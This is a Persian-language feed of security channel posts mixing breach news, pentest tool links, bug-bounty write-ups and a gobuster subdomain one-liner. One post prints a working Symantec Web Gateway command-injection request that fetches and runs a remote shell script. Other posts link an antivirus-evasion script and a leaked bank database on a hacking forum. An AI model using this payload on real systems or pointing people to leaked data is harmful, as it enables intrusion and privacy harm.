اطلاعات ۵۰ هزار سرباز زخمی شده ی امریکایی در یک انجمن هک به فروش گذاشته شد.

این اطلاعات شامل نام، آدرس، محل زخمی شدن و جزییاتی دیگر است.



#breach
#usa
#army


@sec_nerd

مجموعه ابزارهای تست نفوذ به وب

https://github.com/hahwul/WebHackersWeapons


#web
#pentest


@sec_nerd

CVE-2020-10199
Nexus Repository Manager 3 RCE


https://mp.weixin.qq.com/s/0dvhRwVCSwu1U6TbK4YvaQ


#rce
#java

@sec_nerd

ابزار کشف ساب دامین


https://gist.github.com/si9int/dce435633f49209150a780af4b3e768d


#subdomain
#bugbounty


@sec_nerd

Brute subs with gobuster:

gobuster dns -r 8.8.8.8 --wildcard -d $DOMAIN -t 50 -c -i -w subdomains-top1million-20000.txt -z -q > tmp.txt && cat tmp.txt | cut -d' ' -f2 | sort -u > subs.txt && cat tmp.txt | cut -d' ' -f3 | tr -d '[]' | sort -u -V > hosts.txt


#bugbounty
#subdomain
#pentest

@sec_nerd

سرویس ابری cloudflare اعلام کرد ساپورت خود را از recaptcha متوقف و از hcaptcha استفاده خواهد کرد.
این تصمیم بخاطر این گرفته شده است که گوگل قصد دارد بابت استفاده از این سرویس هزینه دریافت کند.
این هزینه به ناچار به کاربران کلودفلر تحمیل خواهد شد بنابراین این شرکت از سرویس دیگری استفاده خواهد کرد.

دو مشکل عمده ی ریکپچا از زبان پرینس مدیرعامل کلودفلر این است که در کشورهایی مثل چین که ریکپچا در آن فیلتر شده است قابل استفاده نیست و سرویس دهی به چینی ها برای کلودفلر مشکل است و دیگر سیاست های گوگل برای جمع آوری اطلاعات کاربران است که در این مورد hcaptcha اطلاعات بسیار کمتری را از کاربران جمع آوری میکند.


https://www.zdnet.com/article/cloudflare-dumps-recaptcha-as-google-intends-to-charge-for-its-use/



#news
#cloudflare
#google
#recaptcha


@sec_nerd

استفاده از سرویس کنفرانس zoom روز به روز در حال افزایش است به طوری که شرک کنندگان روزانه ی کنفرانس ها در این سرویس از ۲۰۰ میلیون هم گذشته است.
با افزایش شهرت زوم هکرها نیز به سراغ این سرویس رفته اند و موفق به هک کردن حساب بیش از ۳۵۰ اکانت وریفای شده ی زوم شدند.

این تعداد اکانت در دارک وب به فروش میرسد و در آن یک حساب متعلق به سرویس بهداشتی ایالات متحده نیز دیده میشود.

https://www.hackread.com/zoom-accounts-login-details-dark-web/


#breach
#zoom


@sec_nerd

آسیب پذیری اجرای دستور از راه دور در سرویس Symantec Web Gateway نسخه ی 5.0.2.8

[PoC]
POST /spywall/timeConfig.php HTTP/1.1

posttime=1585228657&saveForm=Save&timesync=1&ntpserver=https://qweqwe.com;$(wget%20https://192.168.1.
170/a.sh%20-O%20/tmp/a.sh;sh%20/tmp/a.sh);#&timezone=5


https://packetstormsecurity.com/files/157163/Symantec-Web-Gateway-5.0.2.8-Remote-Code-Execution.html




#symantec
#exploit
#rce


@sec_nerd

فازینگ دایرکتوری با سه ابزار fzf + ffuf + SecLists

#web
#pentest
#fuzzing

@sec_nerd

xencrypt


اسکریپت پاورشل برای دور زدن آنتی ویروس ها

https://hakin9.org/xencrypt-a-powershell-script-anti-virus-evasion-tool/


#windows
#ps
#bypass


@sec_nerd

بانک ملی افغانستان هم هک شد

دیتابیس این بانک که حجم بسیار اندکی دارد بصورت رایگان در raidforums قرار گرفت


https://raidforums.com/Thread-Bank-Meli-Afghan-Full-Database-bma-com-af


#breach
#afghanistan


@sec_nerd

رایت آپی در خصوص نحوه ی نفوذ به حسابهای zoom


https://medium.com/@s3c/how-i-hacked-worldwide-zoom-users-eafdff94077d


#zoom
#writeup


@sec_nerd

ابزار تست نفوذ API

https://postwoman.io/


#api
#pentest


@sec_nerd

مجموعه رایت آپهای مرتبط با آسیب پذیری SSRF

medium.com/a-bugz-life/exploiting-an-ssrf-trials-and-tribulations-14c5d8dbd69a

https://medium.com/@michan001/ssrf-on-pdf-generator-36b81e16d67b

https://ngailong.wordpress.com/2019/12/19/google-vrp-ssrf-in-google-cloud-platform-stackdriver/

https://medium.com/@dPhoeniixx/vimeo-upload-function-ssrf-7466d8630437

https://medium.com/@pflash0x0punk/ssrf-via-ffmpeg-hls-processing-a04e0288a8c5

https://kntx.xyz/Blind-SSRF-due-to-Sentry-Misconfiguration/

https://jin0ne.blogspot.com/2019/11/bugbounty-simple-ssrf.html

https://openbugbounty.org/blog/leonmugen/ssrf-reading-local-files-from-downnotifier-server/

https://evanricafort.blogspot.com/2019/08/ssrf-vulnerability-in.html

https://medium.com/@androgaming1912/gain-adfly-smtp-access-with-ssrf-via-gopher-protocol-26a26d0ec2cb

#ssrf
#writeup
#bugbounty
#web
#pentest


@sec_nerd

تلفیق سه آسیب پذیری برای بدست آوردن RCE در Microsoft AttackSurfaceAnalyzer


https://parsiya.net/blog/2019-06-18-chaining-three-bugs-to-get-rce-in-microsoft-attacksurfaceanalyzer/


#windows
#privesc


@sec_nerd

تکنیک های معمول در حملات XXE و SSRF

تست کیس های این دو حمله:
https://blog.aisecureme.com/application-security-test-cases-for-xxe-ssrf/


#xxe
#ssrf


@sec_nerd

دیتابیس اپلیکیشن MCA Wizard که یک سرویس پرکاربر وام های کوتاه مدت و مدیریت اعتبارات شرکتهای کوچک است به سرقت رفت.
این دیتابیس حدود ۵۰۰ هزار رکورد دارد که اطلاعات مالی، مالیات، کپی های اسناد بانکی، گواهینامه ی رانندگی،کدملی و جزییات دیگری را در خود دارد که برای سارقان اینترنتی بسیار کاربردی است.

این دیتابیس بر روی یک باکت محافظت نشده ی آمازون قرار داشت.

https://securityboulevard.com/2020/04/breacher-feature-mca-wizard/


#breach
#news


@sec_nerd

ابزار کشف آسیب پذیری هایی از نوع DOM Based XSS


https://github.com/dwisiswant0/findom-xss


#xss
#pentest

@sec_nerd

یک هکر ناشناس دسترسی به شبکه ی بانکی یک بانک اوکراینی را با مبلغ 1.5 بیت کوین به فروش گذاشته است

این دسترسی شامل اکتیودایرکتوری، سیستم سوئیفت و دیتابیس اوراکل می باشد.

https://twitter.com/Bank_Security/status/1249266517285441537


#breach
#ukrain


@sec_nerd